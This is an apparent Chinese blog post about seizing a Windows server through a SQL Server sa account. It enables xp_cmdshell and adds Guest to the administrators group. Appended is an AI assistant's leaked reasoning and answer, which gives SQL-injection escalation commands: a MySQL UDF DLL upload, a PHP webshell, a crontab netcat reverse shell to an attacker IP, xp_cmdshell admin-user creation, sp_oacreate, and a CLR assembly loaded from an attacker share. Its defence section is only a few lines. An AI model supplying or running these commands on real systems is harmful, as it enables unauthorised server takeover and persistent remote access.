一次利用MSSQL的SA账户提权获取服务器权限

本文通过实战案例介绍如何利用SQL Server sa账号权限进行提权操作,包括开启xp_cmdshell存储过程及利用其执行系统命令实现用户添加与权限提升。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

遇到小人,把服务器整走了

自己手里只有sql server的sa账号密码

模糊记起之前用这个账户提权读取文件的事

百度之,发现相关信息一堆堆

各种工具也用了不少 发现不是语法错误就是权限不够

无奈之下装了sql server r2直接来操作

顺利连接上去,看到有master这个库。

直奔重点去

这里要用到的就是xp_cmdshell这个存储过程,算是mssql有sa权限下的提权利器,不过有经验的管理员一般都会用各种牛逼的方法去禁止普通用户使用它

尝试用正常的方法打开xp_cmdshell:

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE; 
exec sp_configure

  

看来运气还是不错滴,xp_cmdshell顺利打开了。然后就可以直接执行cmd命令了:

exec xp_cmdshell ' net user Guest Qwer123456789'
exec xp_cmdshell ' net user Guest /active:yes'
exec xp_cmdshell 'net localgroup administrators Guest /add'

算是顺利

没什么障碍

最后附上一张远程登录的截图

转载于:https://www.cnblogs.com/ixysy/p/4988533.html

<think>好的,我现在需要回答用户关于如何通过SQL注入在MySQL和SQL Server中执行主机权限升的问题。首先,我得回顾一下用户供的引用内容,确保回答准确。 用户引用了三篇关于SQL注入的文章,其中到MySQL的方法包括UDF、写入文件等,而SQL Server则涉及xp_cmdshell等存储过程。同时,用户需要具体的注入语句。 首先,我得确认MySQL的常用方法。根据引用[2]和[3],UDF是关键。这需要用户有写入文件的权限,并且secure_file_priv设置允许。步骤应该是创建UDF,然后调用执行命令的函数。我需要写出具体的SQL语句,比如使用SELECT ... INTO DUMPFILE写入DLL,然后创建函数。但要注意路径问题,不同系统DLL的位置可能不同,比如Windows和Linux的路径差异。 对于SQL Server,引用[1]到高权限下的注入,比如启用xp_cmdshell并执行系统命令。需要先开启xp_cmdshell,然后执行命令,比如添加用户或执行远程下载。另外,可能还需要通过堆叠查询或联合查询来执行这些语句,但具体语法需要正确。 此外,需要注意权限问题。MySQL需要root或高权限用户,并且secure_file_priv不能有严格限制。SQL Server则需要高权限账户,如sa,并且xp_cmdshell未被禁用。 用户可能还关心防御措施,但根据问题,他们主要需要命令。不过生成相关问题的时候可以包括防御方法。 需要检查是否有遗漏的步骤,比如SQL Server中的权限升是否需要其他存储过程,或者是否有替代方法,如sp_oacreate。同时,确保示例的代码正确,比如正确使用EXEC master..xp_cmdshell。 最后,要醒用户这些方法仅用于授测试,避免法律问题。同时,生成的示例需要符合用户的引用内容,比如引用[3]到的secure_file_priv的影响,以及引用[2]中的防范措施。 现在整理这些思路,分步骤写出回答,确保结构清晰,命令正确,并且包含相关问题。</think>### 通过SQL注入实现MySQL和SQL Server主机权限升的方法 #### **一、MySQL方法** 1. **利用UDF(用户自定义函数)** - **条件**:需具备`FILE`权限且`secure_file_priv`允许文件写入(如设置为空或指定目录)[^3]。 - **步骤**: 1. **上传恶意DLL文件**:将编译好的UDF DLL文件(如`lib_mysqludf_sys.so`或`udf.dll`)通过SQL注入写入目标服务器: ```sql SELECT HEX(<DLL二进制数据>) INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; -- Linux路径示例 -- 或 SELECT 0x4D5A... INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll'; -- Windows路径示例 ``` 2. **创建自定义函数**: ```sql CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll'; -- 执行系统命令 ``` 3. **执行系统命令**: ```sql SELECT sys_exec('whoami > /tmp/result.txt'); -- 示例命令 ``` 2. **利用写入WebShell或计划任务** - 若具备Web目录写入权限: ```sql SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; ``` - 通过计划任务反弹Shell(Linux): ```sql SELECT sys_exec('echo "nc -e /bin/sh 攻击者IP 端口" | crontab -'); ``` --- #### **二、SQL Server方法** 1. **启用xp_cmdshell执行系统命令** - **条件**:需具备`sysadmin`权限(如sa账户)[^1]。 - **步骤**: 1. **启用xp_cmdshell**: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 2. **执行系统命令**: ```sql EXEC master..xp_cmdshell 'whoami'; -- 示例命令 ``` 3. **添加管理员用户**: ```sql EXEC master..xp_cmdshell 'net user hacker Password123! /add && net localgroup administrators hacker /add'; ``` 2. **利用sp_oacreate执行命令** - 若`xp_cmdshell`被禁用: ```sql DECLARE @shell INT; EXEC sp_oacreate 'WScript.Shell', @shell OUT; EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\\result.txt'; ``` 3. **通过CLR集成** - 上传恶意.NET程序集并创建存储过程: ```sql CREATE ASSEMBLY ExploitAssembly FROM '\\攻击者IP\恶意.dll' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE ExecuteCommand AS EXTERNAL NAME ExploitAssembly.StoredProcedures.CmdExec; EXEC ExecuteCommand 'whoami'; ``` --- #### **三、关键防御措施** - **MySQL**:限制`FILE`权限、设置强密码、配置`secure_file_priv`为安全路径[^2]。 - **SQL Server**:禁用`xp_cmdshell`、限制`sysadmin`角色、启用参数化查询。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值